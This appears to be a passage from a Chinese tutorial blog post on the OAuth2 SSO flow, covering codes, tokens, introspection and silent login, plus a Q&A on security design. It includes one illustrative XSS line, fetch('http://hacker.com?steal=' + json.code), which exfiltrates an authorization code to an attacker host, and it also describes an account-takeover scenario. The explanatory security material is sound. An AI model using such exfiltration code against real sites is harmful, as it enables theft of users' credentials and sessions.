全链路交互


角色场景

  • 场景描述:用户 Zhangsan 想要在“系统 B”里查看他在“系统 A”的订单,但他还没登录。

  • 四大角色

    • User:用户(Zhangsan)
    • Client (System B):客户端(系统B),包含前后端,假设登录归AS管
    • Resource Server (System A):资源服务器(系统A),包含前后端,登录归AS管
    • Authorization Server (AS):授权服务器,包含前后端
  • 核心痛点:根据最小权限原则,系统B不应该拥有系统A所有接口以及数据的权限


第一部分 —— 身份的证明(SSO 登录与授权意愿)

核心逻辑:用户浏览器在系统 B 和授权中心之间“反复横跳”,完成登录并表达授权意愿。

授权中心后端 授权中心前端 (SSO.vue/Login Page) 系统B前端 授权中心后端 授权中心前端 (SSO.vue/Login Page) 系统B前端 1.1 发起授权 1.2 SSO 静默检测 (Fail Case) 1.3 登录授权中心 1.4 二次握手与意愿确认 1.5 生成授权码 用户 (Zhangsan) 检查 localStorage (无凭证) 1 展示 SSO 登录链接 2 点击登录 3 浏览器重定向至 SSO.vue (Params: client_id, scope, redirect_uri...) 4 GET /authorize (Created钩子) (透传参数,无 AccessToken) 5 校验参数合法性 6 检查 SecurityContext (空) 7 返回 HTTP 401 Unauthorized 8 路由跳转至统一登录页 (Login Page) 9 输入账号密码 ->> 点击登录 10 POST /login (提交凭证) 11 鉴权 & 建立 SSO 全局会话 12 返回 AccessToken1 (SSO会话凭证) 13 重定向回 SSO.vue 14 GET /authorize (第二次) (Header 携带 AccessToken1) 15 校验 AccessToken1 & 权限 16 返回 Consent元数据 (应用名/Scope) 17 展示授权确认页 (Consent Page) 18 勾选权限 ->> 点击“允许” 19 POST /authorize (确认授权) (携带 AccessToken1 + 批准的Scope) 20 校验 Token & 参数 (RedirectURI) 21 记录授权状态 (Approved) 22 生成 Code 并存入 Redis/DB 23 HTTP 302 重定向至 redirect_uri (URL 附带 code & state) 24 用户 (Zhangsan)
  • 1.1 发起授权

    • 系统 B 前端首先检查浏览器 localStorage,因未获取到有效用户信息(如 Zhangsan 的凭证),判定当前为未登录状态,并向用户展示指向 SSO 的登录链接。
    • 用户点击登录链接后,系统 B 前端执行跳转操作,将浏览器重定向至授权服务器的前端页面(SSO.vue)。
    • 在跳转的 URL 中,系统 B 附带了以下核心 OAuth2 参数以声明意图:
      • client_id:系统 B 的身份标识(申请者)。
      • resource_id:目标资源标识(本例为系统 A 的 client_id,表明要访问系统 A)。
      • scope:申请的权限范围(系统 B 要在系统 A 执行的操作)。
      • response_type:授权类型(通常为 code)。
      • redirect_uri:登录后的回调地址。
      • state:随机防伪参数(用于防范 CSRF 攻击)。
  • 1.2 SSO 的静默检测

    • 授权服务器前端页面(SSO.vue)加载时触发 created() 生命周期钩子。前端随即向后端接口 GET /system/oauth2/authorize 发起请求,透传了从系统 B 接收到的所有关键参数(client_idresponse_typescopestateresource_id),以询问当前用户的登录与授权状态。

    • 授权服务器后端通过过滤器(Filter)拦截请求,执行两层校验:

      • 合法性校验:确认 client_id 有效,且该客户端具备请求目标 resource_id 下对应 scope 的权限。
      • 身份校验:由于请求头未携带有效的 AccessToken(SSO 会话凭证),导致 Spring Security 上下文(SecurityContext)为空。后端判定用户未登录,校验失败并返回 HTTP 401 Unauthorized 状态码。
    • 授权服务器前端捕获到 401 响应后,判定当前用户处于未登录状态。在尝试使用 RefreshToken 刷新会话失败后,前端将路由导航至授权服务器的 统一登录页面(Login Page),等待用户输入账号密码。

  • 1.3 登录授权中心

    • 用户在授权服务器的统一登录页面输入账号与密码,并点击登录按钮。授权服务器前端随即请求向后端接口 /system/oauth2/login 发送用户的身份凭证。

    • 授权服务器后端接收请求并执行身份鉴权逻辑(如查库比对密码)。验证通过后,后端为该用户建立 SSO 全局会话,并颁发 AccessToken1(注:此处指 SSO 系统的会话凭证,用于证明用户在授权中心的登录态),返回给前端。

  • 1.4 二次握手与意愿确认

    • 登录验证通过后,前端将页面重定向回之前的授权入口页面(SSO.vue)。页面初始化逻辑再次触发,向后端接口 GET /system/oauth2/authorize 发起第二次授权请求。与首次请求不同,此次请求头部(或 Cookie)携带了新获取的 AccessToken1(SSO 会话凭证),同时依然包含 client_idresource_idscope 等原始 OAuth2 协议参数。

    • 授权服务器后端首先校验 AccessToken1 的有效性以确认用户身份(Zhangsan),随后复查客户端与目标资源的权限申请合法性。验证无误后,后端查询并返回用于渲染 “授权确认页(Consent Page)” 的关键元数据,包括:客户端名称(“系统 B”)、当前用户信息、以及申请的权限范围(如“读取系统 A 的数据”)。

    • 授权服务器前端根据返回元数据渲染页面,向用户展示:“系统 B 请求访问您在系统 A 的 user.read 和 user.write 权限”。用户确认勾选并点击“允许”后,前端构建 POST /system/oauth2/authorize 请求发送给后端,提交用户的最终授权意愿。该请求携带了 AccessToken1(证明是谁授权的)、client_idredirect_uriresource_id 以及用户最终批准的 scope 列表。

  • 1.5 生成授权码

    • 授权服务器后端接收用户的确认请求,首先验证 SSO 凭证(AccessToken1)以确立当前操作者身份。随后进入核心处理流程:

      • 协议参数校验:再次确认 redirect_uri 与注册白名单匹配,且 response_typecode
      • 持久化授权记录:在数据库 approve 表中插入或更新记录,正式将“用户 Zhangsan 对系统 B 访问系统 A 资源的授权”标记为 已批准(Approved)
      • 生成授权码(Code):生成一个短时效、一次性的 Authorization Code。将该 Code 作为 Key,对应的用户 ID、Scope、ResourceID 等上下文信息作为 Value,存入 Redis(设置短期过期)及数据库中。
      • 重定向响应:将生成的 Code(以及原样返回的 State)拼接到回调地址后(如 http://sys-b.com/cb?code=xyz&state=...),向前端返回 HTTP 302 重定向 指令。

第二部分 —— 以Code换Token

核心逻辑:前端退场,后端登场。这是最安全的“背靠背”通信环节。

授权中心后端 系统B后端 系统B前端 (Browser) 授权中心后端 系统B后端 系统B前端 (Browser) 2.1 传递 Code 2.2 颁发令牌 (背靠背安全通信) 阅后即焚策略 响应重定向,解析 URL 获取 Code & State 1 POST /systemB/login-by-code (Body: code, redirect_uri) 2 POST /auth/oauth2/token (HTTPS) (code, client_id, client_secret, resource_id, redirect_uri) 3 身份认证 (比对 client_secret) 4 Code 验证 (有效期/绑定关系) 5 ⚡ 立即销毁 Code (防止重放攻击) 6 生成 AS_AccessToken 并持久化 (绑定 user_id, scope 等) 7 返回 Response Body (AS_AccessToken) 8
  • 2.1 传递Code

    • 浏览器响应重定向指令,跳转回系统 B 前端,系统B此时拿到了Code(及 State)。系统 B前端构建 HTTP POST 请求(如 /systemB/login-by-code),附带 Coderedirecturi 发送给系统 B 后端。
  • 2.2 颁发令牌

    • 系统 B 后端接收到前端传来的 Authorization Coderedirecturi 后,立即构建 HTTP POST 请求,向授权服务器的令牌接口(auth/oauth2/token)发起调用。此次请求必须通过 HTTPS 通道传输,且携带以下核心凭证:

      • code:核心兑换凭证。
      • client_id & client_secret:系统 B 的“身份证”与“密码”(用于证明请求者是合法的系统 B 后端,而非黑客)。
      • resource_id:再次确认目标资源归属。
      • (注:标准协议中通常还需携带 redirect_uri 用于二次校验)
    • 授权服务器后端接收请求(此端点通常不校验 User Token,而是校验 Client Credentials)。服务器执行严格的 “阅后即焚” 逻辑:

      • 身份认证:比对 client_secret,确认系统 B 身份合法。
      • Code 验证:检查 code 是否存在、未过期,且与当前 client_iduser_id 强绑定。
      • Code 销毁:验证通过后,立即从数据库/Redis 中删除该 Code,防止重放攻击。
      • 令牌生成与持久化:生成正式的 AS_AccessToken,将其与 user_idclient_idresource_idscope 绑定并持久化存储。最终,将 Token 通过响应体返回给系统 B 后端。

第三部分 —— 本地会话的建立(身份同步)

核心逻辑:系统 B 拿到了 AS 的令牌,但它自己也需要建立登录态。

授权中心后端 系统B数据库 系统B后端 系统B前端 授权中心后端 系统B数据库 系统B后端 系统B前端 前序步骤已获取 AS_AccessToken 3.1 用户身份同步 3.2 本地账户映射与会话确立 alt [本地无记录 (新用户)] [本地有记录 (老用户)] ✅ SSO 登录流程闭环 持久化 AS_AccessToken (存入 Redis/DB 以备后续复用) 1 GET /auth/oauth2/userinfo (Header: Authorization: Bearer AS_AccessToken) 2 令牌内省 (校验签名/有效期/Scope权限) 3 组装数据 (根据 user_id 提取用户画像) 4 返回 UserInfo JSON 对象 5 根据 user_id 查询本地记录 6 即时开户 (创建影子账号) 7 更新本地档案信息 8 签发 AccessTokenB (本地会话凭证) (注: 仅用于系统B业务,独立于AS令牌) 9 HTTP Response (Body: AccessTokenB + 用户画像) 10 凭证存储 (localStorage / Cookie) 11 UI 更新 (渲染头像/隐藏登录钮) 12
  • 3.1 用户身份同步

    • 系统 B 后端首先将刚刚获取的 AS_AccessToken 进行持久化存储(通常存入 Redis 并与当前会话绑定,或存入数据库),以便后续复用。紧接着,系统 B 后端构建 HTTP GET 请求,调用授权服务器的 UserInfo 端点auth/oauth2/userinfo)。在此请求中,必须将 AS_AccessToken 置于 HTTP Header 的 Authorization: Bearer <token> 字段中,作为调用凭证。

    • 授权服务器后端接收请求,执行严格的令牌内省逻辑:

      • 有效性校验:确认 AS_AccessToken 签名正确且未过期。
      • Scope 审查:检查该 Token 是否包含获取用户信息所需的权限(如 openidprofileemail)。
      • 数据组装与响应:校验通过后,根据 Token 绑定的 user_id 查询用户档案,按需提取字段(如 Username、Email、Avatar),将其封装为 JSON 对象返回给系统 B。
  • 3.2 本地账户映射与会话确立

    • 系统 B 后端基于获取的用户身份信息(UserInfo),执行 “即时开户” 策略:

      • 账户映射:检索本地数据库是否存在该 user_id(来自授权服务器)对应的记录。若不存在,则自动注册生成一个 “影子账号”;若存在,则根据最新信息更新本地档案。
      • 会话签发:系统 B 为该用户生成专属的 本地会话凭证(AccessTokenB)注:此 Token 仅由系统 B 签发和验证,用于访问系统 B 自身的业务接口,完全独立于授权服务器的 Token)。
      • 响应返回:将 AccessTokenB 及用户基础画像封装后返回给前端。
    • 系统 B 前端接收响应后,执行以下操作以确立前端登录态:

      • 凭证存储:将 AccessTokenB 写入浏览器的持久化存储区域(通常为 localStorageCookie),以便在后续调用系统 B 业务接口时放入 Header 使用。
      • UI 更新:解析用户画像数据,移除“登录/注册”入口,渲染包含用户头像、昵称在内的已登录界面,标志着 SSO 登录流程的最终完成。

第四部分 —— 跨系统借阅(资源代理)

核心逻辑:系统 B 充当代理人,帮用户去取系统 A 的数据。

系统A后端 (资源服务器) 系统B存储 (Redis/DB) 系统B后端 (代理人) 系统B前端 系统A后端 (资源服务器) 系统B存储 (Redis/DB) 系统B后端 (代理人) 系统B前端 4.1 业务触发与代理请求发起 🚫 策略:不直接跨域请求系统A 委托后端代理 4.2 本地鉴权与令牌注入转发 🔑 凭证置换 (Token Swapping) 将本地票换成通票 用户 (Zhangsan) 点击“查看系统 A 订单” 1 GET /systemB/api/proxy/orders (Header: Authorization: Bearer AccessTokenB) 2 本地会话校验 (验证 AccessTokenB 是否合法) 3 根据 UserID 提取托管凭证 4 返回 AS_AccessToken (这是访问系统A的真实钥匙) 5 GET /systemA/orders (Header: Authorization: Bearer AS_AccessToken) 6 用户 (Zhangsan)
  • 4.1 业务触发与代理请求发起

    • 用户在系统 B 前端界面点击“查看系统 A 订单”按钮,触发业务流程。系统 B 前端并不直接请求系统 A(由于 CORS 跨域限制及安全考量),而是向 系统 B 后端 的代理接口(如 GET /systemB/api/proxy/orders)发起请求。在此次请求中,前端仅需携带 本地会话凭证(AccessTokenB) 及用户标识,将获取外部资源的重任委托给系统 B 后端处理。
  • 4.2 本地鉴权与令牌注入转发

    • 系统 B 后端拦截前端发起的代理请求,执行以下关键操作:

      • 本地会话校验:首先验证请求头中 AccessTokenB 的有效性,确保当前操作者是系统 B 的合法登录用户。
      • 凭证置换与请求构建:校验通过后,根据用户 ID 从服务端存储(Redis/DB)中提取出之前托管的 授权服务器 AS_AccessToken(即访问系统 A 的真实凭证)。
      • 上游调用:构建指向系统 A 的 HTTP 请求(GET systemA/orders),将提取出的 AS_AccessToken 注入到 HTTP Header 的 Authorization 字段中,正式向资源服务器(系统 A)发起数据调用。

第五部分 —— 令牌内省

核心逻辑:系统 A 不认识这个 Token,必须找权威机构验票。

授权中心后端 系统A数据库 系统A后端 (资源服务器) 系统B后端 (调用方) 授权中心后端 系统A数据库 系统A后端 (资源服务器) 系统B后端 (调用方) 前序:系统B发起代理请求 🛑 拦截请求 识别为“不透明令牌” 🎫 验票请求 Payload: token + client_A_id + client_A_secret (证明自己有权查验) 5.2 策略执行与业务履约 alt [鉴权通过] [鉴权失败 (Scope不足或Token失效)] ✅ 闭环:拿到数据,逐级返回前端 GET /systemA/orders (Header: Authorization: Bearer AS_AccessToken) 1 POST /auth/oauth2/check-token 2 校验 SysA 身份 3 检索 Token 状态 4 返回 Token 元数据 {active:true, user:Zhangsan, scope:[user.read]...} 5 🔍 元数据解析 & 权限裁决 Check: active==true AND scope contains 'user.read' 6 查询 Zhangsan 的订单 7 返回 Result Set 8 HTTP 200 OK (订单列表 JSON) 9 HTTP 403 Forbidden 10
  • 5.1 资源服务器拦截与远程令牌内省

    • 系统 A 后端(资源服务器)接收到请求后,首先从 HTTP Header 中提取出 Bearer Token。由于该 Token 对于系统 A 而言是 不透明令牌(或者为了确保 Token 未被实时吊销),系统 A 无法仅凭本地算法完成验证。因此,系统 A 需构建 POST 请求调用授权服务器的 内省接口(如 auth/oauth2/check-token)。在此请求中,系统 A 除了发送待验证的 AS_AccessToken 外,必须同时附带自身的 client_idclient_secret,以向授权服务器证明自己是合法的资源服务器,从而获准查询令牌详情。
  • 5.2 鉴权与数据交付

    • 资源服务器(系统 A)收到授权服务器的内省响应后,执行严格的策略执行逻辑:

      • 元数据解析:解析响应体,确认令牌状态为 active: true,识别出请求方为 System B,授权主体为 Zhangsan,且被授予的权限范围包含 user.readuser.write
      • 权限裁决:系统 A 将令牌携带的 scope 与当前接口(查询订单)所需的最小权限进行比对。确认 user.read 满足读取要求,通过鉴权。
      • 业务履约:系统 A 后端解除拦截,执行数据库查询操作,获取 Zhangsan 的订单列表,并以 JSON 格式返回给系统 B 后端(随后逐级返回给前端展示),至此闭环完成。

第六部分 —— SSO 的验证(系统C静默登录)

核心逻辑:利用浏览器在授权中心(AS)域下留存的全局会话凭证,在访问新系统(系统 C)时跳过认证环节,实现无感登录。

授权中心后端 授权中心前端 (SSO.vue) 系统C后端 系统C前端 授权中心后端 授权中心前端 (SSO.vue) 系统C后端 系统C前端 6.1 初始访问与自动重定向 6.2 全局会话的静默检测 💡 发现 AS 域下存在 accesstoken1 (全局凭证) 6.3 鉴权通过与自动发码 系统C为内部信任应用 跳过用户确认 alt [自动批准 (Auto Approve)] [手动批准 (Manual)] 6.4 闭环:换票建连 ✨ 用户无感登录成功 用户 (Zhangsan) 新标签页访问系统 C 1 检查 LocalStorage (无用户信息) 2 302 重定向至 SSO.vue (client_id=SystemC) 3 生命周期 created() 触发 4 GET /system/oauth2/authorize (Header: accesstoken1) 5 验证 accesstoken1 (有效且活跃) 6 返回确认页元数据 7 显示授权弹窗 8 点击“允许” 9 POST /authorize 10 生成针对系统C的 codeC 11 302 重定向回系统C回调 (URL附带 codeC) 12 POST /login-by-code (codeC) 13 POST /token (codeC + client_secret_C) 14 返回 as_accesstokenC (后端连接凭证) 15 生成 accesstokenC (本地会话) 16 返回 accesstokenC 17 用户 (Zhangsan)
  • 6.1 初始访问与自动重定向

    • 用户在同一浏览器的新标签页访问 系统 C。系统 C 前端初始化时检查本地存储(localStorage/Cookie),发现没有用户信息,判定为本地未登录。
    • 系统 C 前端立即构建标准的 OAuth2 授权请求(client_id=SystemC),将浏览器重定向至授权服务器的前端页面(SSO.vue)。
  • 6.2 全局会话的静默检测

    • 浏览器跳转至授权服务器页面后,AS 前端代码执行(如在 created() 生命周期)。它检测到当前 AS 域下的 localStorage 中已存在有效的 accesstoken1(这是之前用户登录系统 B 时由 AS 颁发的全局会话凭证)。
    • AS 前端不再渲染登录框,而是直接发起 GET /system/oauth2/authorize 请求,并将 accesstoken1 放入 HTTP Header 中发送给 AS 后端。
  • 6.3 鉴权通过与自动发码

    • AS 后端验证 accesstoken1 的签名与时效,确认用户“Zhangsan”处于活跃登录状态,因此不再返回 401(未登录),而是直接通过身份认证。
    • 鉴于系统 C 属于企业内部受信系统(First-party),AS 后端执行 自动批准(Auto Approve) 策略,跳过用户手动点击“允许授权”的交互页面。若系统C不在自动批准列表内,只需要用户在前端点击允许授权,发送一次Post Authorization请求,AS后端就会返回code。
    • AS 后端针对系统 C 生成专属的 Authorization Code(codeC),并指示浏览器 302 重定向回系统 C 的回调地址。
  • 6.4 闭环:票据兑换与新会话建立

    • 前端接力:系统 C 前端接收到 codeC,将其发送给系统 C 后端(login-by-code)。
    • 后端换票:系统 C 后端携带 client_id_Cclient_secret_CcodeC 向 AS 后端请求兑换。
    • 建立连接:AS 验证通过后,颁发 as_accesstokenC 给系统 C 后端(用于后续系统 C 后端保持与 AS 的连接或代理资源访问)。
    • 本地登录:系统 C 后端生成自己的 accesstokenC 返回给前端。用户感觉到的是:刚刚打开系统 C 的网址,页面闪烁了一下,就直接显示为了登录状态。


Q&A


在上面的示例中,三个服务器,有几个user表,几个accesstoken表,几个client表,分别在哪个服务器上,什么关系。

在分布式/微服务架构中,物理上隔离,逻辑上关联是核心。

表名 总数量 分布位置 核心作用
User 表 3 个 AS, System B, System A 各有一个 AS 存账号密码;B/A 存业务关联数据
Client 表 1 个 AS AS 需要管理谁有资格接入
AccessToken 表 2 个 AS (核心), System B (会话) AS 存 OAuth 令牌;B 存本地会话令牌

系统B怎么查该用户在系统A的信息,是向授权服务器查还是系统A查

  1. 如果查的是“基础身份信息” ,如账号 (zhangsan)、全局 UserID (1001)、邮箱、手机号、头像 -> 找授权服务器,因为这些信息是所有系统公用的,由 AS 统一托管。比如,系统 B 刚拿到 Token,想知道“现在的登录用户叫什么名字,我要在右上角显示‘欢迎,张三’”。
  2. 如果查的是“系统A的业务用户信息” 比如系统 A 的收货地址VIP 等级订单历史收藏夹-> 找系统 A,因为授权服务器只管“登录”,不管“业务”。它根本不知道张三在系统 A 买了什么书,或者住在哪里。这些数据只存在于系统 A 的数据库里。

流程中出现多个accesstoken,分别是什么作用,区别在哪

特性 1. AccessToken1 2. AS_AccessToken 3. AccessToken_B
通俗叫法 SSO 登录态 / 身份证 资源令牌 / 门票 本地 Token / 会员卡
谁生成的? 授权服务器 授权服务器 System B 后端
谁拿着? 用户浏览器 System B 后端 (Redis) 用户浏览器
发给谁检查? 授权服务器 (/authorize) System A (/orders) System B 后端 (/api/*)
存什么信息? UserID UserID + Scope + Audience UserID + B系统业务角色
核心目的 让你不需要重复输密码 让 B 系统能合法操作 A 系统 维持 B 系统的网页登录状态

scope是什么,有什么作用,举例说明

Scope 是一个字符串(比如 user.read, order.write),一般配合Resourceid(指目标资源服务器是谁,比如 systemAclientid),AS服务器的code表,accesstoken表,approve表中可能有userid,clientid,resourceid,scope字段它代表了第三方应用系统 B的用户张三在资源服务器系统 A上的具体权限范围scope


假如系统B修改了前端文字“系统B需要您在系统A的xx权限”,修改为其它文字,用户勾选了之后点击提交,那系统B岂不是骗过了用户

产生这个疑虑,可能是因为混淆了 “页面是谁渲染的” 这个问题。

  1. 用户在系统 B 点击登录。
  2. 浏览器跳转(Redirect) 到了授权服务器(sso.vue)。
  • 此刻,浏览器地址栏显示的域名是 授权服务器的域名(例如 auth.aliyun.com),而不是系统 B 的域名(system-b.com)。
  • 用户看到的这个“同意授权页面”,其 HTML、CSS、JavaScript 代码,全部来自授权服务器
  • 系统 B 在这一步,已经彻底失去了对浏览器的控制权

第二部分,系统B后端拿code向AS后端换token时,传参code,clientid,clientsecret,resourceid。为什么没有userid和scope

没有userid:授权服务器后端判断用户信息并不是依靠请求体传参userid,而是靠code在自己数据库上与用户的绑定。如果靠传参userid,那么系统B拿到zhangsan的code,却传参userid=lisi,岂不是伪造让lisi获得accesstoken了。
没有scope:传参的code已经在AS数据库中与用户信息绑定了,包括scope


Clientsecret有什么作用,数据流向是什么

client_secret 是 OAuth2 协议中保障 “系统级安全” 的最后一道防线,也是最重要的防线之一。
其它服务器后端向授权服务器发送请求时,一定要带上自己的clientsecret,才能表明自己是真的服务器后端而不是被伪造的。也因此Clientsecret不能暴露给前端,始终在后端待着。


自动授权又是什么,在流程中扮演什么角色

自动授权 是 OAuth2 流程中的一种绿色通道机制。也就是当用户登录后,授权服务器不再弹出“是否同意某某系统访问您的信息”的询问页面,而是直接默认用户同意,静默发放授权码(Code)。一般AS只向内部授权应用开自动授权。


我们知道,在Oauth2实现的系统中,系统B前端持有系统B后端的accesstokenB,系统B后端持有as_accesstoken可以来访问系统A。此时如果as_accesstoken过期,该怎么续呢?

由于as_accesstoken和as_refreshtoken对前端来说都是透明的,因此续时操作肯定是后端自动完成的,也是对前端和用户透明的。当用户通过系统B前端向系统B后端发送访问系统A资源的请求,而系统B后端构建请求发送给系统A时,系统A通知accesstoken过期,此时系统B后端收到过期回复,就会自动发送refreshtoken请求给系统A,之后用返回的新的as_accesstoken重新请求系统A的资源。这整个过程对用户透明。如果as_refreshtoken也过期了,就需要用户重新授权了。


微服务中,网关,授权服务器AS,资源服务器RS之间的关系是什么

在微服务中,所有请求都先经过网关,网关决定请求发给谁。
用户以及认证信息存储在AS中,业务相关信息存储在RS中,网关没有持久化存储。
由于网关有认证请求身份的职责(如校验token),而accesstoken等又是存储在AS中的,这时有几种解决方案:网关和AS配置同一个redis地址;网关远程请求AS来校验token;JWT(博主还没学到,先不管)。
由于网关已经过滤了请求的token校验了,因此当有请求发给AS时(比如请求用户基本信息),AS直接返回就行。当有请求发给RS时(比如请求用户订单信息),RS也不需要检验token,但是由于与具体业务相关,因此要判断请求scope是否有权调用此接口,判断当前用户是否有权限查询该订单信息(比如登录用户zhangsan,但是要查lisi的order)等。


在Oauth2协议中,SSO单点登录的授权服务器与各个资源服务器,都分别应该有什么表。如果说是多表查询,要联合授权服务器和资源服务器多个表,此时该怎么做

核心原则:授权服务器(AS)管“钥匙和身份”,资源服务器(RS)管“资产和业务”。
AS应该有表:oauth_users(存储业务无关用户信息),oauth_clients(存储客户端信息),oauth_access_tokens , oauth_refresh_tokens,oauth_approvals(存储用户已批准的系统B在系统A上的权限信息),oauth_code(存储client后端的授权码)。
其它与业务相关的归RS管。如system_users,system_orders等。

数据类型 谁存数据库 (Master) 谁负责修改 例子
认证凭证 授权服务器 (AS) 仅 AS 账号、密码、密保手机、MFA密钥
全局属性 授权服务器 (AS) 仅 AS 全局唯一的 UserID、账号状态(封禁)
通用画像 AS 为主 (RS可缓存) AS 昵称、头像、性别 (所有系统通用的)
业务画像 资源服务器 (RS) RS 收货地址、积分、游戏等级、会员状态
业务数据 资源服务器 (RS) RS 邮件内容、订单记录、私有照片
权限授予 授权服务器 (AS) AS 用户允许 APP 访问通讯录的记录

所谓的“多表查询”怎么做?
AS 有用户的头像和昵称,RS 有用户的订单。前端想展示一个列表,既要有订单信息,又要有用户头像,怎么查?

由于数据库是物理隔离的,你无法写出 SELECT * FROM as.users u JOIN rs.orders o ON u.id = o.user_id 这种 SQL。

解决方案有三种,按推荐程度排序:

方案 A:JWT 冗余信息法 (最常用,性能最高)

利用 OAuth2 的 Token (JWT) 作为信息的载体。

  1. 原理:当 AS 颁发 Access Token 时,不仅仅放入 user_id,还把常用的 nickname, avatar_url, role 等非敏感信息放入 JWT 的 Payload 中。
  2. RS 的行为:RS 收到 Token 后,解析 Token 就能直接拿到用户的昵称和头像,无需查 AS 的数据库,直接拼装到自己的业务数据中返回给前端。
  3. 缺点:如果用户改了昵称,Token 没过期之前,RS 看到的还是旧昵称(通常可以忍受)。

方案 B:UserInfo Endpoint (标准 OAuth2 做法)

利用 OAuth2 标准的 /userinfo 接口。

  1. 原理:AS 暴露一个受保护的 API GET /userinfo

  2. RS 的行为

    • 前端请求 RS 获取订单列表。
    • RS 从数据库查出订单(包含 user_id)。
    • RS 后端拿着 Token 去调用 AS 的 /userinfo 接口,拿到用户详情。
    • RS 在内存中将“订单数据”和“用户详情”组装,返回给前端。
  3. 优化:RS 可以在本地 Redis 缓存 /userinfo 的结果,避免每次都远程调用 AS。

方案 C:数据冗余/同步 (适用于高性能要求)

在 RS 中存一份用户的副本。

  1. 原理:RS 建一张 local_users 表。
  2. 同步机制:当用户在 AS 修改资料时,AS 通过 MQ (消息队列) 发布一条 UserUpdated 消息。RS 订阅这个消息,更新自己的 local_users 表。
  3. 查询:RS 直接在本地 Join 自己的 orders 表和 local_users 表。

第一部分结尾,AS前端发送POST /authorization请求,后端校验成功并返回code时,为什么不只返回授权码code,redirecturi是AS前端传给后端的,所以前端有redirecturi信息,只要前端接收后立即拼接redirecturi和code,并跳转,不也是挺安全的么

假设 AS 的登录页面(或授权确认页)由于开发疏忽,存在一个 XSS 漏洞。黑客已经成功在这个页面植入了一段恶意脚本(Hook 脚本)。

方式 A:后端返回 JSON Code,前端拼接

  1. 用户点击授权:前端 JS 发起 AJAX/Fetch 请求 POST /authorize
  2. 恶意脚本监听:黑客的 XSS 脚本提前劫持了 XMLHttpRequestfetch 对象(这在 XSS 攻击中非常基础)。
  3. 后端响应:后端返回 HTTP 200,Body 为 {"code": "sec_code_123"}
  4. 漏洞爆发
    • 因为响应是 JSON 数据,它必须被加载到浏览器的 JS 内存 中。
    • 黑客的劫持脚本拦截到响应对象,读取 responseText
    • 黑客脚本执行:fetch('http://hacker.com?steal=' + json.code)
    • 结果Code 被窃取了
  5. 后续:此时前端正常的 JS 再去拼接 redirect_uri 并跳转,已经晚了。Code 已经发给黑客了。
    核心问题:Code 作为“数据”进入了 JS 上下文,任何在该页面运行的 JS(包括恶意脚本)都有权限读取它。

方式 B:标准方案(后端返回 HTTP 302 Location)

  1. 用户点击授权
    • 通常这是一个传统的 <form> 表单提交(非 AJAX)。
    • 或者是一个会导致 页面刷新(Hard Navigation) 的请求。
  2. 后端响应
    • 后端返回 HTTP 302 Found
    • Header: Location: http://system-b.com/cb?code=sec_code_123
    • Body: Empty (空)。
  3. 浏览器行为(关键点)
    • 浏览器收到 302,立即执行跳转
    • 当前页面(AS 页面)直接卸载(Unload)
    • JS 无法读取 Header:在传统的表单提交或直接导航中,当前页面的 JS(包括黑客的 XSS)根本无法捕获这个 302 响应的 Header 内容。页面直接就“死”了,跳到了新页面。
  4. 结果:黑客的 XSS 脚本还没来得及看到 Code,自己就已经随着旧页面被销毁了。

第二部分,系统B前端在拿到code时,用户的系统B前端并没有与系统B的后端保持会话关系,此时系统B不知道当前是哪个用户,AS后端知道当前是哪个用户(code绑定了userid),系统B前端发送login-by-code时也不附带用户的accesstokenB(因为此时还没生成,用户还没登录成功呢)。那么此时如果黑客窃取到了code,模拟用户发送login-by-code请求,系统B肯定会通过,那岂不是黑客建立了与系统B的会话,用户的信息全被窃取了

如果系统 B 没有实施额外的安全防御,这是一个严重的 账号接管漏洞(Account Takeover)

  • 漏洞原理:在“无防御”模式下,Authorization Code 对于系统 B 来说就像一张“无记名支票”。系统 B 在未登录态下无法区分“拿着 Code 来换票的人”是真正的用户张三,还是窃取了 URL 的黑客。

解决方案1:建立“临时握手会话” (State 参数)

为了防御此漏洞,系统 B 必须在用户跳转去 AS 之前,先建立一个匿名的“设备指纹”关联。这通常通过 state 参数配合 Cookie 来实现。

  • 防御流程复盘:

    1. 埋点(后端主导跳转)
    • 当系统 B 前端发现用户未登录,不再直接跳转到AS前端,而是向系统B后端请求,系统 B 后端 生成随机字符串 state=xyz
    • 动作 A(公钥):将 state=xyz 拼接到 URL 中发送给 AS。
    • 动作 B(私钥):将 state=xyz(或其关联 ID)写入用户浏览器的 HttpOnly Cookie 中(或后端 Session)。
    1. 窃取(黑客拦截)
    • 黑客拦截了回调 URL,拿到了 code=CODEstate=xyz(明文)。
    • 关键点:由于浏览器 同源策略 的保护,黑客无法窃取张三浏览器里的 Cookie
    1. 收网(双重校验)
    • 真用户请求:携带了 URL 里的 state=xyz 以及 浏览器自动带上的 Cookie: state=xyz。后端比对一致 -> 通过
    • 黑客请求:虽然填入了 URL 里的 state=xyz,但由于黑客没有张三的 Cookie,请求中缺失 Cookie(或 Cookie 签名不对)。后端比对失败 -> 拒绝
  • 为了让上述防御生效,系统设计必须遵循以下原则:

    1. 后端掌控跳转:系统B前端不能直接 window.location 跳去 AS,必须先调后端接口(如 /get-login-url),由系统B后端种下 Cookie 并返回跳转地址。
    2. Cookie 安全:Cookie 必须由后端设置,且使用 HttpOnly 和签名(Signed Cookie),有了签名黑客就无法伪造Cookie。
  • 那有人就说了,黑客不能靠此state去伪造一个cookie传给系统B后端么

    问题就在于,比如 带有签名的cookie值=Hash(state+系统B服务器后端密钥),即使黑客有state也不晓得服务器密钥是什么,因此无法伪造。假设黑客传的cookie与state不匹配,系统B后端拿传来的state与自己密钥结合,计算哈希值,发现不等于黑客传的cookie,于是拒绝。

解决方案2:服务端会话绑定 (Session/Redis)

为了防御此漏洞,系统 B 利用服务端的存储(如 Redis)来维护“设备指纹”与 State 的映射关系。这种方式不把 State 的值直接存在 Cookie 里,而是将 State 存在服务端,仅给浏览器一把“索引钥匙”(Session ID)。

  • 防御流程复盘:

    1. 埋点(后端主导跳转)
    • 当系统 B 前端发现用户未登录,向系统 B 后端请求登录地址。
    • 系统 B 后端 生成随机字符串 state=xyz,并生成(或获取当前)唯一的会话标识 SessionID=sess_abc
    • 动作 A(公钥):将 state=xyz 拼接到 URL 中发送给 AS。
    • 动作 B(暗箱/私钥):将 state=xyz 存储在服务端的内存/Redis 中,并与 SessionID 绑定(Key: sess_abc -> Value: xyz)。同时,将 SessionID 写入用户浏览器的 HttpOnly Cookie 中。
    1. 窃取(黑客拦截)
    • 黑客拦截了回调 URL,拿到了 code=CODEstate=xyz(明文)。
